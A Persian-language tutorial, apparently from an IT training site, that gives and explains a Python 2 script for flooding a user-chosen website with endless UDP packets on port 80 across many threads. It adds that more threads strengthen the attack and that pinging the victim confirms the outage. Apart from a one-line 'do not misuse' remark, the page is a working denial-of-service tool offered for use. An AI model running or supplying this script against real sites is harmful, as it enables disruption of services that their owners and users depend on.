امروز میخوایم یک برنامه ساده در پایتون رو با هم تمرین کنیم. میدونیم حمله DOS یا DDOS یکی از معمول ترین حملات به سایت ها است که باعث از دسترس خارج شدن سایت میشود. این کار با سرازیر کردن تعداد بسیار زیادی درخواست در زمان کوتاه به سمت سایت و شلوغ کردن سر آن، انجام میشود.به کد زیر دقت کنید.
#!/usr/bin/python import time, socket, sys, thread victim_addr = raw_input("Enter The URL [ENTER]: ") thread_count = input("Enter the counts of thread you wish to lunch [ENTER]: ") victim_ip = socket.gethostbyname(victim_addr) UDP_PORT = 80 MESSAGE = "DOS ATTACK!!!" print "UDP target IP:", victim_ip print "UDP target port:", UDP_PORT time.sleep(3) def dos(i): while True: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(MESSAGE, (victim_ip, UDP_PORT)) print "Packet Sent" for i in xrange(thread_count): try: thread.start_new_thread( dos , ("Thread-"+str(i),) ) except KeyboardInterrupt: sys.exit(0) while 1: pass
در ابتدا نام سایت مورد نظر را وارد میکنیم (بدون www و http یا https مثلا tosinso.com ) و آن را در متغیری ذخیره میکنیم. سپس تعداد thread های مورد نظر را دریافت میکنیم. هر thread با استفاده از یک حلقه بینهایت، بسته های udp را به سمت پورت 80 سرور مورد نظر ارسال میکند. بدیهی است که هرچه تعداد Thread ها بیشتر باشد حمله موثر تر و صد البته مهاجم به منابع سخت افزاری و نرم افزاری و پهنای باند بیشتری هم برای اجرای حمله نیاز خواهد داشت. تابع socket.gethostbyname تبدیل اسم به ip را برای ما انجام میدهد. یعنی اسم سایت را میگیرد و آدرس ip سایت را برمیگرداند.for i in xrange thread__count برای ایجاد کردن thread هاست.
به تعداد عددی که کاربر برای Thread وارد کرده این حلقه انجام میشود. در هر بار انجام شدن آن به اضای هر thread یک بار تابع dos صدا زده میشود و در تابع dos به وسیله یک حلقه بینهایت که در آن پشت سر هم socket ساخته میشود، بسته های udp به سمت سایت قربانی سرازیر میشود.این برنامه بدون توقف پشت سر هم اجرا میشود و شرط متوقف کردن حمله با except KeyboardInterrupt تامین شده است.
لحظه ای که کلید کنترل و c را فشار دهید، به منزله یک وقفه برای سیستم بوده و از حلقه for تولید کننده thread ها خارج میشود.برای تست کردن صحت اجرا میتونید در حین اجرای برنامه از سایت مورد نظر ping بگیرید. مشاهده خواهید کرد که بسته ها یا time out میشوند یا با تاخیر بیشتری از حد معمول بازمیگردند.از برنامه سوء استفاده نکنید !!! با تشکر !!! :))))
کارشناس فناوری اطلاعات - Linux Systems Administrator
زمان پاسخ گویی روز های شنبه الی چهارشنبه ساعت 9 الی 18
فقط به موضوعات مربوط به محصولات آموزشی و فروش پاسخ داده می شود